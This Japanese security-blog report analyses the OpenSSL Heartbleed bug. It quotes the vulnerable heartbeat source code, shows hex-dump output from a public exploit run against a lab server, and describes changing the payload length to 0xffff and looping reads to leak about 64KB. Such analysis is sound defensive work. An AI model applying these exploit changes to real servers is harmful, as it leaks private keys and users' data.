スマートフォン解析 top

TOP > タイガーチームセキュリティレポート > OpenSSLのHeartbleed脆弱性(CVE-2014-0160)

タイガーチームセキュリティレポート

OpenSSLのHeartbleed脆弱性(CVE-2014-0160)

先日明らかにされたOpenSSLのHeartbleed脆弱性が話題になってたようなので検証しました。これはOpenSSLのHearbeat実装(HTTPでいうところのkeep-alive)におけるread overrunの脆弱性で、誰でも簡単にexploit可能で攻撃の痕跡がほとんど残らないという特徴があります。対象となるのは1.0.1f以前の1.0.1系OpenSSLです。今回は1.0.1fで検証しました。


-影響-

Heartbleed脆弱性を利用すると、heap上の任意のデータが漏洩する可能性があります。heap上のデータにはSSL/TLSの秘密鍵や、送受信した(平文の)データなどが含まれます。脆弱なOpenSSLを使用したサービスを公開していた場合、ログに残っていなくても秘密鍵やパスワード等の重要情報が漏洩している可能性があります。

-対策-

脆弱でないOpenSSLに置き換えるか、パッチを当てる必要があります。秘密鍵が漏洩している可能性がある場合、同じ証明書を使い続けるのは危険です。

-原因-

この脆弱性の原因は非常に単純な境界チェック漏れです。heartbeatリクエストのペイロード長フィールドに実際に送信しているペイロード長よりも大きな値を設定して送信するとバッファ上のペイロードがないメモリ領域まで読み込んでheartbeatレスポンスで送り返してしまうというものです。

以下、RFCで規定されたHeartbeatメッセージの形式です。

   struct {
      HeartbeatMessageType type;
      uint16 payload_length;
      opaque payload[HeartbeatMessage.payload_length];
      opaque padding[padding_length];
   } HeartbeatMessage;
RFC 6520より抜粋

OpenSSL 1.0.1fから問題の箇所のソースを見てみます。

2553 int
2554 tls1_process_heartbeat(SSL *s)
2555         {
2556         unsigned char *p = &s->s3->rrec.data[0], *pl;
2557         unsigned short hbtype;
2558         unsigned int payload;
2559         unsigned int padding = 16; /* Use minimum padding */
2560 
2561         /* Read type and payload length first */
2562         hbtype = *p++;
2563         n2s(p, payload);
2564         pl = p;
2565 
2566         if (s->msg_callback)
2567                 s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
2568                         &s->s3->rrec.data[0], s->s3->rrec.length,
2569                         s, s->msg_callback_arg);
2570 
2571         if (hbtype == TLS1_HB_REQUEST)
2572                 {
2573                 unsigned char *buffer, *bp;
2574                 int r;
2575 
2576                 /* Allocate memory for the response, size is 1 bytes
2577                  * message type, plus 2 bytes payload length, plus
2578                  * payload, plus padding
2579                  */
2580                 buffer = OPENSSL_malloc(1 + 2 + payload + padding);
2581                 bp = buffer;
2582 
2583                 /* Enter response type, length and copy payload */
2584                 *bp++ = TLS1_HB_RESPONSE;
2585                 s2n(payload, bp);
2586                 memcpy(bp, pl, payload);
2587                 bp += payload;
2588                 /* Random padding */
2589                 RAND_pseudo_bytes(bp, padding);
2590 
2591                 r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);
ssl/t1_lib.cより抜粋

2563行目で設定したペイロード長payloadを検証することなく2584行目でbufferにコピーして2591行目で送信してしまいます。これがこの問題の原因です。

-検証-

すでにexploitコードが公開されています(興味のある方はググってください)。このコードはペイロード長フィールドを0x4000に設定して実際にはペイロードがないHeartbeatリクエストを送信します。

以下は、exploitコードの実行結果です。

Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 58
 ... received message: type = 22, ver = 0302, length = 836
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  .@....SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......

*snip*

  3fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

WARNING: server returned more data than it should - server is vulnerable!

0x4000バイトのデータを読み出せました。:-)

つぎにこのexploitコードを2点ほど修正してみます。Heartbeatリクエストのペイロード長を0x4000から0xffffに変更します。さらに、読み込めるレコードが無くなるまで読み続けるように修正してみました。

以下、修正後のexploitコード実行結果です。

Connecting...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 58
 ... received message: type = 22, ver = 0302, length = 836
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 FF FF D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  ......SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......

*snip*

  3fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

WARNING: server returned more data than it should - server is vulnerable!
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

*snip*

  3fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

WARNING: server returned more data than it should - server is vulnerable!
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

*snip*

  3fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

WARNING: server returned more data than it should - server is vulnerable!
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

*snip*

  3fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

WARNING: server returned more data than it should - server is vulnerable!
 ... received message: type = 24, ver = 0302, length = 18
Received heartbeat response:
  0000: 00 00 8D 09 4F F6 D7 40 22 35 3D F8 31 9E 78 7C  ....O..@"5=.1.x|
  0010: A8 13                                            ..

WARNING: server returned more data than it should - server is vulnerable!
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 FF FF D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  ......SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......

*snip*

  3fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

WARNING: server returned more data than it should - server is vulnerable!
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

*snip*

  3fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

WARNING: server returned more data than it should - server is vulnerable!
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

*snip*

  3fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

WARNING: server returned more data than it should - server is vulnerable!
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

*snip*

  3fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

WARNING: server returned more data than it should - server is vulnerable!
Unexpected EOF receiving record header - server closed connection
No heartbeat response received, server likely not vulnerable

今度は合計約0x10000バイトのデータを読み出せました。大量出血しました。:-) SSL/TLSレコードの最大長は0x4000なので、0x4000バイトずつ分割してデータを受信していることがわかります。

何度か試した限りでは検証環境のApacheから重要情報は得られず、毎回ほぼ同じ結果が返ってきました。サーバから返信されるデータはheapの状態とmallocのアルゴリズムに大きく依存します。アクセス数が多く頻繁にheapを使用しているサーバではexploitを実行するたびに結果が変わってくると思われます。

以上です。今回はHeartbleed脆弱性を検証してみました。なかなか切れ味鋭い脆弱性でした。:-)


参考情報:
[1] Heartbleed Bug
https://heartbleed.com/
[2] CVE - CVE-2014-0160
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
[3] OpenSSL の脆弱性に関する注意喚起
https://www.jpcert.or.jp/at/2014/at140013.html
[4] RFC 6520 - Transport Layer Security (TLS) and Datagram Transport Layer Security (DTLS) Heartbeat Extension
https://tools.ietf.org/html/rfc6520


タイガーチームメンバー 塚本 泰三